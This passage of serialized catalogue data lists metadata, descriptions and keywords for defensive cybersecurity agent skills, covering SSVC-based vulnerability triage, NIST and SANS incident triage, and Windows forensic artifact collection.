kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[217],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[219,34,220,43,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236],"vulnerabilities","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":238,"name":239,"nameZh":6,"description":240,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":241,"categories":242,"keywords":244,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[243],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[46,245,43,246,247,248,249,250,251,252,253,42,254,182,255,256,257,258,259,260],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]